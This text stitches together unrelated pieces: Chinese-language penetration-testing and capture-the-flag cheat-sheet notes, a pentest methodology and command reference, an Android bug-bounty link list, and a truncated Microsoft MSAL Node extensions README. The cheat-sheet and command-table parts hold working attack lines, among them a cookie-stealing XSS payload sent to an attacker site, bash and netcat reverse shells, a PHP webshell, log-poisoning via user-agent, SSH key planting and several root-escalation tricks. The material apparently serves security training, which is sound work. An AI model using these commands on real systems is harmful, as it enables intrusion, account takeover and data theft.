‘attacker-web-site.com/page?param=’ + document.cookie </script> ``` - reverse shell - [link](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) - bbypass - php extension - .phtml, .php, .php3, .php4, .php5, .PHP - crack windows password - `Windows SAM file`: 放 hash 過的 password - tcp connect ```shell /bin/bash -i /dev/tcp/<ip>/<port> 0>&1 ``` - get sudo - 將使用者加入到 sudo group ``` usermod -aG sudo <user> ``` - 輸出檔案 ```shell cat <filename> echo $(<<filename>) echo `<filename` while read line; do echo $line; done < <filename> grep . <filename> grep . -R more <filename> less <filename> head <filename> tail <filename> tac <filename> nl <filename> ## print + line ``` - PHP LFI - [LFI cheat sheet](https://highon.coffee/blog/lfi-cheat-sheet/#php-wrapper-phpfilter) - 透過網頁語法的設計不良 ```php include("$file") ``` 造成惡意使用者若輸入如 `../../etc/passwd` 等檔案路徑當參數,則可以成功存取 local file - 若網站有擋路徑,也可以透過 php filter 得到網站 source code - 敏感資料 1. `/etc/passwd` ==> 看哪些使用者 2. log file - 若能用 LFI 的方式存取 log,可以在 header (EX. user-agent)內加入 php 語法,讓分析 log 時能當作 php code 分析 ```shell curl -H "user-agent: <?php system(\$_GET['cmd']) ?>" $IP ``` - [log injection](https://owasp.org/www-community/attacks/Log_Injection) - [link](https://blog.codeasite.com/how-do-i-find-apache-http-server-log-files/) - RHEL / Red Hat / CentOS / Fedora Linux Apache error file location - `/var/log/httpd/error_log` (ERROR) - `/var/log/httpd/access_log` (ACCESS) - Debian / Ubuntu Linux Apache error log file location - `/var/log/apache2/error.log` (ERROR) - `/var/log/apache2/access.log` (ACCESS) - FreeBSD Apache error log file location - `/var/log/httpd-error.log` (ERROR) - `/var/log/httpd-access.log` (ACCESS) - nginx log file location - `/var/log/nginx/error.log` (ERROR) - `/var/log/nginx/access.log` (ACCESS) - Spawning a TTY Shell - 有時候因為 reverse shell 會 disable 一些東西, 像是 askpass (詢問密碼的 terminal) 等等, 導致功能不能用 ex. `sudo`, 所以要用其他方法在 remote 再生出一個完整的 shell ```shell ## python python -c 'import pty; pty.spawn("/bin/sh")' echo os.system('/bin/bash') ``` - steganography - 隱寫術, 將資料隱藏在圖片中 - 常見 - `diff`: 兩張圖片的比較(sub, add...)會產生圖片外觀的變化, 或是原始圖片資料中有其他資訊 - `ext`: 圖片雖然在 .png .jpg 等等圖片副檔名中可以顯示圖片, 但是在更改成 zip, rar 等等壓縮副檔名後內部藏有其他資訊 - `image`: 圖中圖, 需要利用 `binwalk` 等 tool 將圖片 extract 出來 - `text`: text strings 直接被加在圖片中, 用 `strings` 查看 - networking - 網路化分的用途與方始 - [tutorial](https://www.pcmag.com/news/the-abcs-of-ip-addresses) - wifi - [tutorial](Wifi Hacking 101) - SSID(Service Set Identifier): network name - BSS(Basic Service Set):一個 WIFI AP 與多個 WIFI 使用者的網路架構 - BSSID(BSS Identifier):WIFI AP 的 MAC address - ESSID(external SSID):單個 SSID 可能應用在多個 access point(系館網路有多個 AP,但是都使用CSIE_WIFI 這個 SSID) - WAP(Wireless Access Point):無線基地台 - Captive Portal: WIFI認證頁面 - 密碼 - WEP - 過時&不安全 - WPA/WPA2 - WPA2-EAP(Extensible Authentication Protocol): - 提供 username 與 password 給 radius server 做 authenticate - 所以要輸入"帳號&密碼" - WPA-PSK/WPA2-PSK - PSK(pre-shared key) - 兩種加密方式 - TKIP - 過時 - AES(Advanced Encryption Standard) - 比 TKIP 好 - 演化: 1. WEP 2. WPA 1. WPA - 加密 - TKIP 2. WPA2 - 用 the 4 way handshake authencation - ![](https://i.imgur.com/2lWlfcn.png) - 加密 - AES - TKIP - mode - 普通: - PSK:密碼8個,手機常用 (又稱 WPA2-Personal) - EAP:要用 username&password 跟radius認證 - php cmd - `system()`: Execute an external program and display the output - string system ( string $command [, int &$return_var ] ) - `exec()`: Execute an external program - string exec ( string $command \[, array &$output \[, int &$return_var \]\] ) - `shell_exec()` — Execute command via shell and return the complete output as a string - string shell_exec ( string $cmd ) - command injection: - 若是程式有提供 command execution, 可以利用以下等等來執行指定 command 1. \`ls\` 2. ; ls -al 3. $(ls -al) 4. & ls -al 5. ${IFS} ## 取代 space - apktool - 逆向 apk 的工具 - [install](https://ibotpeaches.github.io/Apktool/install/) ```shell apktool d file.apk -o <out_dir> ``` - other - login - `ssh -i id_rsa <user>@<ip>` 直接用 private key 登入 - ssh-keygen 一組 public key, 再將 key 加到 `/home/user/.ssh/authorized_keys` - image header - jpg ``` FF D8 FF E0 00 10 4A 46 49 46 ``` - png ``` 89 50 4A 47 0D 0A 1A 0A ``` - privilege escalation - `/etc/shadow` - 只可讀 => john or hashcat - 可寫 => `mkpasswd` 蓋掉 - `/etc/passwd` - 可寫 - shared library - ![](https://i.imgur.com/IH1teVL.png) - program 必須是 root 執行 - 用 `ldd` 或 `strace` 查看是否有 missing lib, 再用 malicious lib 去 exploit - `LD_LIBRARY_PATH` 可以指定 library loading 的優先順序, 但是對 sudo 沒有效果 - `-rpath` 為 compile 時下的參數, 可以指定 library path - `/bin/bash` - version < 4.2-048 - 可以定義 shell function, 而在執行 command 時會先查看是否為 function, 而若 function name 跟 ELF 的路徑一樣, 則會先被執行 ```shell function /usr/local/ELF {/bin/bash;} export -f /usr/local/ELF ``` - `LD_PRELOAD, LD_LIBRARY_PATH` - `LD_PRELOAD` loads a shared object before any others when a program is run - `LD_LIBRARY_PATH` provides a list of directories where shared libraries are searched for first - 利用`LD_PRELOAD` or `LB_LIBRARY_PATH`, 在執行時指定 malicious path or so_file 取得 root shell - Wildcards - 在 script 中, 若有使用到 \* (wildcard), 則須注意檔案名稱, 若檔案名稱剛好為指令參數名稱, 則會當作名稱執行 - example ```shell cd /home/user tar czf /tmp/backup.tar.gz * ## In /home/user/ --checkpoint=1 --checkpoint-action=exec=/bin/bash ``` - 在執行時就會視為 `tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=/bin/bash` - Unicode Zero-Width Characters steg - [tool](https://330k.github.io/misc_tools/unicode_steganography.html) - 利用 zero-wight 不可視的空白與分開隱寫內容 01 組合來做隱寫 - &#x200c non-joiner - &#x200c joiner - capabilities - 為 thread attribute - 由於程式的某些區塊需要 root 權限, 但設置 SUID 又會給予太大的權限, 所以可以透過 capabilities 設置部分功能擁有 root 權限 - 利用 `setcap` 設置, `getcap` 查看 - capability 為執行程式時擁有的能力 (如可以設置 uid `cap_setuid` - ![](https://i.imgur.com/zpS7Faj.png) - e.g. `cap_net_raw+ep` - `cap_net_raw`: capability - `+`: 啟用 (`-`禁用) - `e`: 使否激活 - `p`: 是否允許 process 設置 - `i`: child process 是否繼承 - 利用 capability 做 PE 1. 找可以利用的 program - `getcap -r / 2>/dev/null` 2. setuid in runtime - if python: `import os; os.setuid(0); os.system("/bin/bash")` - if perl: `use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";`
# Pre-engagement educating the client and adjusting the contract. All necessary tests and their components are strictly defined and contractually recorded. In a face-to-face meeting or conference call, many arrangements are made, such as: 1. Non-Disclosure Agreement 2. Goals 3. Scope 4. Time Estimation 5. Rules of Engagement # Stage Description 1. Pre-Engagement The first step is to create all the necessary documents in the pre-engagement phase, discuss the assessment objectives, and clarify any questions. 2. Information Gathering Once the pre-engagement activities are complete, we investigate the company's existing website we have been assigned to assess. We identify the technologies in use and learn how the web application functions. 3. Vulnerability Assessment With this information, we can look for known vulnerabilities and investigate questionable features that may allow for unintended actions. 4. Exploitation Once we have found potential vulnerabilities, we prepare our exploit code, tools, and environment and test the webserver for these potential vulnerabilities. 5. Post-Exploitation Once we have successfully exploited the target, we jump into information gathering and examine the webserver from the inside. If we find sensitive information during this stage, we try to escalate our privileges (depending on the system and configurations). 6. Lateral Movement If other servers and hosts in the internal network are in scope, we then try to move through the network and access other hosts and servers using the information we have gathered. 7. Proof-of-Concept We create a proof-of-concept that proves that these vulnerabilities exist and potentially even automate the individual steps that trigger these vulnerabilities. 8. Post-Engagement Finally, the documentation is completed and presented to our client as a formal report deliverable. Afterward, we may hold a report walkthrough meeting to clarify anything about our testing or results and provide any needed support to personnel tasked with remediating our findings. ## ## ## # Prep Document Timing for Creation 1. Non-Disclosure Agreement (NDA) After Initial Contact 2. Scoping Questionnaire Before the Pre-Engagement Meeting 3. Scoping Document During the Pre-Engagement Meeting 4. Penetration Testing Proposal (Contract/Scope of Work (SoW)) During the Pre-engagement Meeting 5. Rules of Engagement (RoE) Before the Kick-Off Meeting 6. Contractors Agreement (Physical Assessments) Before the Kick-Off Meeting 7. Reports During and after the conducted Penetration Test ## ## # Kick-off The kick-off meeting usually occurs at a scheduled time and in-person after signing all contractual documents. This meeting usually includes client POC(s) (from Internal Audit, Information Security, IT, Governance & Risk, etc., depending on the client), client technical support staff (developers, sysadmins, network engineers, etc.), and the penetration testing team (someone in a management role (such as the Practice Lead), the actual penetration tester(s), and sometimes a Project Manager or even the Sales Account Executive or similar). We will go over the nature of the penetration test and how it will take place. Usually, there is no Denial of Service (DoS) testing. We also explain that if a critical vulnerability is identified, penetration testing activities will be paused, a vulnerability notification report will be generated, and the emergency contacts will be contacted. Typically these are only generated during External Penetration Tests for critical flaws such as unauthenticated remote code execution (RCE), SQL injection, or another flaw that leads to sensitive data disclosure. The purpose of this notification is to allow the client to assess the risk internally and determine if the issue warrants an emergency fix. We would typically only stop an Internal Penetration Test and alert the client if a system becomes unresponsive, we find evidence of illegal activity (such as illegal content on a file share) or the presence of an external threat actor in the network or a prior breach. Explaining the penetration testing process gives everyone involved a clear idea of our entire process. This demonstrates our professional approach and convinces our questioners that we know what we are doing. Because apart from the technical staff, CTO, and CISO, it will sound like a certain kind of magic that is very difficult for non-technical professionals to understand. So we must be mindful of our audience and target the most technically inexperienced questioner so our approach can be followed by everyone we talk to. All points related to testing need to be discussed and clarified. It is crucial to respond precisely to the wishes and expectations of the customer/client. Every company structure and network is different and requires an adapted approach. Each client has different goals, and we should adjust our testing to their wishes. We can typically see how experienced our clients are in undergoing penetration tests early in the call, so we may have to shift our focus to explain things in more detail and be prepared to field more questions, or the kickoff call may be very quick and straightforward. ## # Documentation and Reporting Before completing the assessment and disconnecting from the client's internal network or sending "stop" notification emails to signal the end of testing (meaning no more interaction with the client's hosts), we must make sure to have adequate documentation for all findings that we plan to include in our report. This includes command output, screenshots, a listing of affected hosts, and anything else specific to the client environment or finding. We should also make sure that we have retrieved all scan and log output if the client hosted a VM in their infrastructure for an internal penetration test and any other data that may be included as part of the report or as supplementary documentation. We should not keep any Personal Identifiable Information (PII), potentially incriminating info, or other sensitive data we came across throughout testing. We should already have a detailed list of the findings we will include in the report and all necessary details to tailor the findings to the client's environment. Our report deliverable (which is covered in detail in the Documentation & Reporting module) should consist of the following: ``` -- An attack chain (in the event of full internal compromise or external to internal access) detailing steps taken to achieve compromise -- A strong executive summary that a non-technical audience can understand -- Detailed findings specific to the client's environment that include a risk rating, finding impact, remediation recommendations, and high-quality external references related to the issue -- Adequate steps to reproduce each finding so the team responsible for remediation can understand and test the issue while putting fixes in place -- Near, medium, and long-term recommendations specific to the environment -- Appendices which include information such as the target scope, OSINT data (if relevant to the engagement), password cracking analysis (if relevant), discovered ports/services, compromised hosts, compromised accounts, files transferred to client-owned systems, any account creation/system modifications, an Active Directory security analysis (if relevant), relevant scan data/supplementary documentation, and any other information necessary to explain a specific finding or recommendation further At this stage, we will create a draft report that is the first deliverable our client will receive. From here, they will be able to comment on the report and ask for any necessary clarification/modifications. ``` # Obvi ## Basic Tools | **Command** | **Description** | | --------------|-------------------| | **General** | | `sudo openvpn user.ovpn` | Connect to VPN | | `ifconfig`/`ip a` | Show our IP address | | `netstat -rn` | Show networks accessible via the VPN | | `ssh [email protected]` | SSH to a remote server | | `ftp 10.129.42.253` | FTP to a remote server | | **tmux** | | `tmux` | Start tmux | | `ctrl+b` | tmux: default prefix | | `prefix c` | tmux: new window | | `prefix 1` | tmux: switch to window (`1`) | | `prefix shift+%` | tmux: split pane vertically | | `prefix shift+"` | tmux: split pane horizontally | | `prefix ->` | tmux: switch to the right pane | | **Vim** | | `vim file` | vim: open `file` with vim | | `esc+i` | vim: enter `insert` mode | | `esc` | vim: back to `normal` mode | | `x` | vim: Cut character | | `dw` | vim: Cut word | | `dd` | vim: Cut full line | | `yw` | vim: Copy word | | `yy` | vim: Copy full line | | `p` | vim: Paste | | `:1` | vim: Go to line number 1. | | `:w` | vim: Write the file 'i.e. save' | | `:q` | vim: Quit | | `:q!` | vim: Quit without saving | | `:wq` | vim: Write and quit | ## Pentesting | **Command** | **Description** | | --------------|-------------------| | **Service Scanning** | | `nmap 10.129.42.253` | Run nmap on an IP | | `nmap -sV -sC -p- 10.129.42.253` | Run an nmap script scan on an IP | | `locate scripts/citrix` | List various available nmap scripts | | `nmap --script smb-os-discovery.nse -p445 10.10.10.40` | Run an nmap script on an IP | | `netcat 10.10.10.10 22` | Grab banner of an open port | | `smbclient -N -L \\\\10.129.42.253` | List SMB Shares | | `smbclient \\\\10.129.42.253\\users` | Connect to an SMB share | | `snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0` | Scan SNMP on an IP | | `onesixtyone -c dict.txt 10.129.42.254` | Brute force SNMP secret string | | **Web Enumeration** | | `gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt` | Run a directory scan on a website | | `gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt` | Run a sub-domain scan on a website | | `curl -IL https://www.inlanefreight.com` | Grab website banner | | `whatweb 10.10.10.121` | List details about the webserver/certificates | | `curl 10.10.10.121/robots.txt` | List potential directories in `robots.txt` | | `ctrl+U` | View page source (in Firefox) | | **Public Exploits** | | `searchsploit openssh 7.2` | Search for public exploits for a web application | | `msfconsole` | MSF: Start the Metasploit Framework | | `search exploit eternalblue` | MSF: Search for public exploits in MSF | | `use exploit/windows/smb/ms17_010_psexec` | MSF: Start using an MSF module | | `show options` | MSF: Show required options for an MSF module | | `set RHOSTS 10.10.10.40` | MSF: Set a value for an MSF module option | | `check` | MSF: Test if the target server is vulnerable | | `exploit` | MSF: Run the exploit on the target server is vulnerable | | **Using Shells** | | `nc -lvnp 1234` | Start a `nc` listener on a local port | | `bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'` | Send a reverse shell from the remote server | | `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/sh -i 2>&1\|nc 10.10.10.10 1234 >/tmp/f` | Another command to send a reverse shell from the remote server | | `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/bash -i 2>&1\|nc -lvp 1234 >/tmp/f` | Start a bind shell on the remote server | | `nc 10.10.10.1 1234` | Connect to a bind shell started on the remote server | | `python -c 'import pty; pty.spawn("/bin/bash")'` | Upgrade shell TTY (1) | | `ctrl+z` then `stty raw -echo` then `fg` then `enter` twice | Upgrade shell TTY (2) | | `echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php` | Create a webshell php file | | `curl http://SERVER_IP:PORT/shell.php?cmd=id` | Execute a command on an uploaded webshell | | **Privilege Escalation** | | `./linpeas.sh` | Run `linpeas` script to enumerate remote server | | `sudo -l` | List available `sudo` privileges | | `sudo -u user /bin/echo Hello World!` | Run a command with `sudo` | | `sudo su -` | Switch to root user (if we have access to `sudo su`) | | `sudo su user -` | Switch to a user (if we have access to `sudo su`) | | `ssh-keygen -f key` | Create a new SSH key | | `echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys` | Add the generated public key to the user | | `ssh [email protected] -i key` | SSH to the server with the generated private key | | **Transferring Files** | | `python3 -m http.server 8000` | Start a local webserver | | `wget http://10.10.14.1:8000/linpeas.sh` | Download a file on the remote server from our local machine | | `curl http://10.10.14.1:8000/linenum.sh -o linenum.sh` | Download a file on the remote server from our local machine | | `scp linenum.sh user@remotehost:/tmp/linenum.sh` | Transfer a file to the remote server with `scp` (requires SSH access) | | `base64 shell -w 0` | Convert a file to `base64` | | `echo f0VMR...SNIO...InmDwU \| base64 -d > shell` | Convert a file from `base64` back to its orig | | `md5sum shell` | Check the file's `md5sum` to ensure it converted correctly |
# Android-Reports-and-Resources ### HackerOne Reports -------- ### Hardcoded credentials #### Disclosure of all uploads via hardcoded api secret [https://hackerone.com/reports/351555](https://hackerone.com/reports/351555) -------- ### WebView #### Android security checklist: WebView [https://blog.oversecured.com/Android-security-checklist-webview/](https://blog.oversecured.com/Android-security-checklist-webview/) ### Insecure deeplinks #### Account Takeover Via DeepLink [https://hackerone.com/reports/855618](https://hackerone.com/reports/855618) #### Sensitive information disclosure [https://hackerone.com/reports/401793](https://hackerone.com/reports/401793) ### RCE/ACE #### Why dynamic code loading could be dangerous for your apps: a Google example [https://blog.oversecured.com/Why-dynamic-code-loading-could-be-dangerous-for-your-apps-a-Google-example/](https://blog.oversecured.com/Why-dynamic-code-loading-could-be-dangerous-for-your-apps-a-Google-example/) #### RCE in TinyCards for Android [https://hackerone.com/reports/281605](https://hackerone.com/reports/281605) - TinyCards made this report private. #### Persistent arbitrary code execution in Android's Google Play Core Library: details, explanation and the PoC [https://hackerone.com/reports/971386](https://hackerone.com/reports/971386) #### CVE-2020-8913: Persistent arbitrary code execution in Google Play Core library [https://blog.oversecured.com/Oversecured-automatically-discovers-persistent-code-execution-in-the-Google-Play-Core-Library/](https://blog.oversecured.com/Oversecured-automatically-discovers-persistent-code-execution-in-the-Google-Play-Core-Library/) - Persistent arbitrary code execution in Android's Google Play Core Library: details, explanation and the PoC - CVE-2020-8913 #### TikTok: three persistent arbitrary code executions and one theft of arbitrary files [https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/](https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/) - Oversecured detects dangerous vulnerabilities in the TikTok Android app -------- ### Memory corruption #### Exploiting memory corruption vulnerabilities on Android [https://blog.oversecured.com/Exploiting-memory-corruption-vulnerabilities-on-Android/](https://blog.oversecured.com/Exploiting-memory-corruption-vulnerabilities-on-Android/) - Exploiting memory corruption vulnerabilities on Android + an example of such vulnerability in PayPal apps -------- ### Cryptography #### Use cryptography in mobile apps the right way [https://blog.oversecured.com/Use-cryptography-in-mobile-apps-the-right-way/](https://blog.oversecured.com/Use-cryptography-in-mobile-apps-the-right-way/) -------- ### SQL Injection #### SQL Injection in Content Provider [https://hackerone.com/reports/291764](https://hackerone.com/reports/291764) -------- ### Session theft #### Steal user session [https://hackerone.com/reports/328486](https://hackerone.com/reports/328486) -------- ### Steal files #### Android security checklist: theft of arbitrary files [https://blog.oversecured.com/Android-security-checklist-theft-of-arbitrary-files/](https://blog.oversecured.com/Android-security-checklist-theft-of-arbitrary-files/) #### How to exploit insecure WebResourceResponse configurations + an example of the vulnerability in Amazon apps [https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse/](https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse) - Android: Exploring vulnerabilities in WebResourceResponse #### Vulnerable to local file steal, Javascript injection, Open redirect [https://hackerone.com/reports/499348](https://hackerone.com/reports/499348) #### Token leakage due to stolen files via unprotected Activity [https://hackerone.com/reports/288955](https://hackerone.com/reports/288955) #### Steal files due to exported services [https://hackerone.com/reports/258460](https://hackerone.com/reports/258460) #### Steal files due to unprotected exported Activity [https://hackerone.com/reports/161710](https://hackerone.com/reports/161710) #### Steal files due to insecure data storage [https://hackerone.com/reports/44727](https://hackerone.com/reports/44727) #### Insecure local data storage, makes it easy to steal files [https://hackerone.com/reports/57918](https://hackerone.com/reports/57918) -------- ### Bypasses #### Accidental $70k Google Pixel Lock Screen Bypass [https://bugs.xdavidhu.me/google/2022/11/10/accidental-70k-google-pixel-lock-screen-bypass/](https://bugs.xdavidhu.me/google/2022/11/10/accidental-70k-google-pixel-lock-screen-bypass/) #### Golden techniques to bypass host validations [https://hackerone.com/reports/431002](https://hackerone.com/reports/431002) #### Two-factor authentication bypass due to vuln endpoint [https://hackerone.com/reports/202425](https://hackerone.com/reports/202425) #### Another endpoint Auth bypass [https://hackerone.com/reports/205000](https://hackerone.com/reports/205000) #### Bypass PIN/Fingerprint lock [https://hackerone.com/reports/331489](https://hackerone.com/reports/331489) #### Bypass lock protection [https://hackerone.com/reports/490946](https://hackerone.com/reports/490946) #### Bypass of biometrics security functionality [https://hackerone.com/reports/637194](https://hackerone.com/reports/637194) -------- ### XSS #### HTML Injection in BatterySaveArticleRenderer WebView [https://hackerone.com/reports/176065](https://hackerone.com/reports/176065) #### XSS via SAMLAuthActivity [https://hackerone.com/reports/283058](https://hackerone.com/reports/283058) #### XSS in ImageViewerActivity [https://hackerone.com/reports/283063](https://hackerone.com/reports/283063) #### XSS via start ContentActivity [https://hackerone.com/reports/189793](https://hackerone.com/reports/189793) #### XSS on Owncloud webview [https://hackerone.com/reports/87835](https://hackerone.com/reports/87835) -------- ### Privilege Escalation #### Discovering vendor-specific vulnerabilities in Android [https://blog.oversecured.com/Discovering-vendor-specific-vulnerabilities-in-Android/](https://blog.oversecured.com/Discovering-vendor-specific-vulnerabilities-in-Android/) #### Common mistakes when using permissions in Android [https://blog.oversecured.com/Common-mistakes-when-using-permissions-in-Android/](https://blog.oversecured.com/Common-mistakes-when-using-permissions-in-Android/) #### Two weeks of securing Samsung devices: Part 2 [https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-2/](https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-2/) #### Two weeks of securing Samsung devices: Part 1 [https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-1/](https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-1/) #### Intent Spoofing [https://hackerone.com/reports/97295](https://hackerone.com/reports/97295) #### Access of some not exported content providers [https://hackerone.com/reports/272044](https://hackerone.com/reports/272044) #### Access protected components via intent [https://hackerone.com/reports/200427](https://hackerone.com/reports/200427) #### Fragment injection [https://hackerone.com/reports/43988](https://hackerone.com/reports/43988) #### Javascript injection [https://hackerone.com/reports/54631](https://hackerone.com/reports/54631) -------- ### CSRF #### Deeplink leads to CSRF in follow action [https://hackerone.com/reports/583987](https://hackerone.com/reports/583987) --- ### Case sensitive account collisions #### overwrite account associated with email via android application [https://hackerone.com/reports/187714](https://hackerone.com/reports/187714) --- ### Intercept Broadcasts #### Possible to intercept broadcasts about file uploads [https://hackerone.com/reports/167481](https://hackerone.com/reports/167481) #### Vulnerable exported broadcast reciever [https://hackerone.com/reports/289000](https://hackerone.com/reports/289000) #### View every network request response's information [https://hackerone.com/reports/56002](https://hackerone.com/reports/56002) -------- ## Practice Apps #### Oversecured Vulnerable Android App [A vulnerable app showing modern security bugs in Android apps](https://github.com/oversecured/ovaa) #### Damn Vulnerable Bank [Vulnerable Banking Application for Android](https://github.com/rewanth1997/Damn-Vulnerable-Bank) #### InsecureShop [Intentionally Vulnerable Android Application](https://github.com/optiv/InsecureShop) #### Vuldroid [Vulnerable Android Application made with security issues](https://github.com/jaiswalakshansh/Vuldroid) #### InjuredAndroid [A vulnerable Android application with ctf examples based on bug bounty findings, exploitation concepts, and pure creativity.](https://github.com/B3nac/InjuredAndroid) #### Android-InsecureBankv2 [Vulnerable Android application for developers and security enthusiasts to learn about Android insecurities](https://github.com/dineshshetty/Android-InsecureBankv2) #### Damn Insecure and Vulnerable app [Damn Insecure and vulnerable App for Android](https://github.com/payatu/diva-android) #### OWASP-GoatDroid-Project [OWASP GoatDroid is a fully functional and self-contained training environment for educating developers and testers on Android security](https://github.com/jackMannino/OWASP-GoatDroid-Project) #### Sieve mwrlabs [Sieve is a small Password Manager app created to showcase some of the common vulnerabilities found in Android applications.](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) ## Tools [Android - PentestBook](https://github.com/six2dez/pentest-book/blob/master/mobile/android.md) [Awesome-Android-Security](https://github.com/saeidshirazi/awesome-android-security) [android-security-awesome](https://github.com/ashishb/android-security-awesome) ## Resources [OWASP top 10 2016](https://www.owasp.org/index.php/Mobile_Top_10_2016-Top_10) [OWASP mobile testing guide](https://github.com/OWASP/owasp-mstg) [Android Reversing 101](https://www.evilsocket.net/2017/04/27/Android-Applications-Reversing-101/#.WQND0G3TTOM.reddit) [Detect secret leaks in Android apps online](https://android.fallible.co/) [Android Security Guidelines](https://developer.box.com/docs/android-security-guidelines) [Attacking vulnerable Broadcast Recievers](https://manifestsecurity.com/android-application-security-part-18/) [Android Webview Vulnerabilities](https://pentestlab.blog/2017/02/12/android-webview-vulnerabilities/) [Android reverse engineering recon](https://b3nac.com/posts/2017-11-10-Setup-and-tips-for-Android-APK-recon.html) [Webview addjavascriptinterface RCE](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) [Install PLayStore On Android Emulator](https://medium.com/@dai_shi/installing-google-play-services-on-an-android-studio-emulator-fffceb2c28a1) [Android Bug Bounty Tips](https://medium.com/bugbountyhunting/bug-bounty-hunting-tips-2-target-their-mobile-apps-android-edition-f88a9f383fcc) [Android: Access to app protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/) [Android: arbitrary code execution via third-party package contexts](https://blog.oversecured.com/Android-arbitrary-code-execution-via-third-party-package-contexts/) [Interception of Android implicit intents](https://blog.oversecured.com/Interception-of-Android-implicit-intents/) [Evernote: Universal-XSS, theft of all cookies from all sites, and more](https://blog.oversecured.com/Evernote-Universal-XSS-theft-of-all-cookies-from-all-sites-and-more/) [Android: Gaining access to arbitrary* Content Providers](https://blog.oversecured.com/Gaining-access-to-arbitrary-Content-Providers/)
# Microsoft Authentication Extensions for Node ![npm (scoped)](https://img.shields.io/npm/v/@azure/msal-node-extensions) ![npm](https://img.shields.io/npm/dw/@azure/msal-node-extensions) | <a href="https://docs.microsoft.com/azure/active-directory/develop/tutorial-v2-react" target="blank">Getting Started</a> | <a href="https://aka.ms/aaddevv2" target="_blank">AAD Docs</a> | <a href="https://azuread.github.io/microsoft-authentication-library-for-js/ref/modules/_azure_msal_react.html" target="_blank">Library Reference</a> | <a href="https://github.com/AzureAD/microsoft-authentication-library-for-js/tree/dev/samples" target="blank">Samples</a> |--- | --- | --- | --- | 1. [About](#about) - [Cache Persistence](#cache-persistence) - [Brokering](#brokering) 1. [FAQ](https://github.com/AzureAD/microsoft-authentication-library-for-js/blob/dev/extensions/docs/faq.md) 1. [Changelog](https://github.com/AzureAD/microsoft-authentication-library-for-js/blob/dev/extensions/msal-node-extensions/CHANGELOG.md) 1. [Prerequisites](#prerequisites) 1. [Installation](#installation) 1. [Usage - Cache Persistence](#usage---cache-persistence) 1. [Usage - Brokering](#usage---brokering) 1. [Build and Test](#build-and-test) - [Build package](#building-the-package-locally) - [Test package](#running-tests) 1. [Samples](#samples) 1. [Security Reporting](#security-reporting) 1. [License](#license) 1. [Contributing](#contributing) 1. [Code of Conduct](#we-value-and-adhere-to-the-microsoft-open-source-code-of-conduct) ## About The `msal-node-extensions` library offers optional features to enhance the capabilities of `msal-node`: - Secure mechanisms for client applications to perform cross-platform token cache serialization and persistence - An interface for acquiring tokens from the native token broker, enabling a higher level of security and SSO with other native applications ### Cache Persistence [MSAL Node](https://github.com/AzureAD/microsoft-authentication-library-for-js/tree/dev/lib/msal-node) supports an in-memory cache by default and provides the ICachePlugin interface to perform cache serialization, but does not provide a default way of storing the token cache to disk. Microsoft authentication extensions for node is default implementation for persisting cache to disk across different platforms. Supported platforms are Windows, Mac and Linux: - Windows - DPAPI is used for encryption. - MAC - The MAC KeyChain is used. - Linux - LibSecret is used for storing to "Secret Service". > Note: It is recommended to use this library for cache persistence support for Public client applications such as Desktop apps only. In web applications, this may lead to scale and performance issues. Web applications are recommended to persist the cache in session. ### Brokering When using the native broker, refresh tokens are bound to the device on which they are acquired on and are not accessible by `msal-node` or the application. This provides a higher level of security that cannot be achieved by `msal-node` alone. More information about token brokering can be found [here](https://github.com/AzureAD/microsoft-authentication-library-for-js/tree/dev/lib/msal-node/docs/brokering.md) ## Prerequisites The `msal-node-extensions` library ships with pre-compiled binaries. > Note: If you are planning to do local development on msal-node-extensions itself you may need to install some additional tools. [node-gyp](https://github.com/nodejs/node-gyp) is used to compile [addons](https://nodejs.org/api/addons.html) for accessing system APIs. Installation requirements are listed on the [node-gyp README](https://github.com/nodejs/node-gyp#installation) On linux, the library uses `libsecret` so you may need to install it. Depending on your distribution, you will need to run the following command: - Debian/Ubuntu: `sudo apt-get install libsecret-1-dev` - Red Hat-based: `sudo yum install libsecret-devel` - Arch Linux: sudo `pacman -S libsecret` ## Installation The `msal-node-extensions` package is available on NPM. ```bash npm i @azure/msal-node-extensions --save ``` ## Usage - Cache Persistence ### Getting started Here is a code snippet on how to configure the token cache. ```js const { DataProtectionScope, Environment, PersistenceCreator, PersistenceCachePlugin, } = require("@azure/msal-node-extensions"); // You can use the helper functions provided through the Environment class to construct your cache path // The helper functions provide consistent implementations across Windows, Mac and Linux. const cachePath = path.join(Environment.getUserRootDirectory(), "./cache.json"); const persistenceConfiguration = { cachePath, dataProtectionScope: DataProtectionScope.CurrentUser, serviceName: "<SERVICE-NAME>", accountName: "<ACCOUNT-NAME>", usePlaintextFileOnLinux: false, } // The PersistenceCreator obfuscates a lot of the complexity by doing the following actions for you :- // 1. Detects the environment the application is running on and initializes the right persistence instance for the environment. // 2. Performs persistence validation for you. // 3. Performs any fallbacks if necessary. PersistenceCreator .createPersistence(persistenceConfiguration) .then(async (persistence) => { const publicClientConfig = { auth: { clientId: "<CLIENT-ID>", authority: "<AUTHORITY>", }, // This hooks up the cross-platform cache into MSAL cache: { cachePlugin: new PersistenceCachePlugin(persistence) } }; const pca = new msal.PublicClientApplication(publicClientConfig); // Use the public client application as required... }); ``` All the 